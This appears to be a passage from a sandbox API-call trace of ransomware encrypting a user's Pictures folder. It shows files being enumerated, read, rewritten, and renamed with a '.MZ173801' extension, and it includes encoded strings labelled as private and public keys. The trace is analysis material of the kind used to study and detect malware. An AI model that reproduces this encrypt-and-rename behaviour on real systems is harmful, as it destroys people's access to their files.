[0153.565] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.565] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xe7be [0153.565] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.565] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0xe7be, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0xe7be, lpOverlapped=0x0) returned 1 [0153.567] CloseHandle (hObject=0x2f8) returned 1 [0153.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.570] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f3d50*, nNumberOfBytesToWrite=0xe7be, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f3d50*, lpNumberOfBytesWritten=0x19f758*=0xe7be, lpOverlapped=0x0) returned 1 [0153.573] CloseHandle (hObject=0x2f8) returned 1 [0153.577] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg.mz173801")) returned 1 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] GetCurrentThreadId () returned 0xab4 [0153.585] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70eb5c0, ftCreationTime.dwHighDateTime=0x1d5eb87, ftLastAccessTime.dwLowDateTime=0x2e6e1da0, ftLastAccessTime.dwHighDateTime=0x1d5ebc9, ftLastWriteTime.dwLowDateTime=0x2e6e1da0, ftLastWriteTime.dwHighDateTime=0x1d5ebc9, nFileSizeHigh=0x0, nFileSizeLow=0x11122, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="br3Sl.bmp", cAlternateFileName="")) returned 1 [0153.585] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.585] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70eb5c0, ftCreationTime.dwHighDateTime=0x1d5eb87, ftLastAccessTime.dwLowDateTime=0x2e6e1da0, ftLastAccessTime.dwHighDateTime=0x1d5ebc9, ftLastWriteTime.dwLowDateTime=0x2e6e1da0, ftLastWriteTime.dwHighDateTime=0x1d5ebc9, nFileSizeHigh=0x0, nFileSizeLow=0x11122)) returned 1 [0153.585] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp")) returned 0x20 [0153.585] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp", dwFileAttributes=0x80) returned 1 [0153.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.589] GetCurrentThreadId () returned 0xab4 [0153.589] GetCurrentThreadId () returned 0xab4 [0153.589] GetCurrentThreadId () returned 0xab4 [0153.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.590] GetCurrentThreadId () returned 0xab4 [0153.590] GetCurrentThreadId () returned 0xab4 [0153.591] GetCurrentThreadId () returned 0xab4 [0153.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.591] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.591] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.591] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x11122 [0153.591] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.591] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x11122, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0x11122, lpOverlapped=0x0) returned 1 [0153.593] CloseHandle (hObject=0x2f8) returned 1 [0153.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.598] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f5d50*, nNumberOfBytesToWrite=0x11122, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f5d50*, lpNumberOfBytesWritten=0x19f758*=0x11122, lpOverlapped=0x0) returned 1 [0153.600] CloseHandle (hObject=0x2f8) returned 1 [0153.603] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\br3Sl.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\br3sl.bmp.mz173801")) returned 1 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] GetCurrentThreadId () returned 0xab4 [0153.604] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2576c10, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0xd56d7250, ftLastAccessTime.dwHighDateTime=0x1d5e26d, ftLastWriteTime.dwLowDateTime=0xd56d7250, ftLastWriteTime.dwHighDateTime=0x1d5e26d, nFileSizeHigh=0x0, nFileSizeLow=0x4c5a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="CyPtYrEBdI9stHyXAH.gif", cAlternateFileName="CYPTYR~1.GIF")) returned 1 [0153.604] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.604] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2576c10, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0xd56d7250, ftLastAccessTime.dwHighDateTime=0x1d5e26d, ftLastWriteTime.dwLowDateTime=0xd56d7250, ftLastWriteTime.dwHighDateTime=0x1d5e26d, nFileSizeHigh=0x0, nFileSizeLow=0x4c5a)) returned 1 [0153.605] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif")) returned 0x20 [0153.605] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif", dwFileAttributes=0x80) returned 1 [0153.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 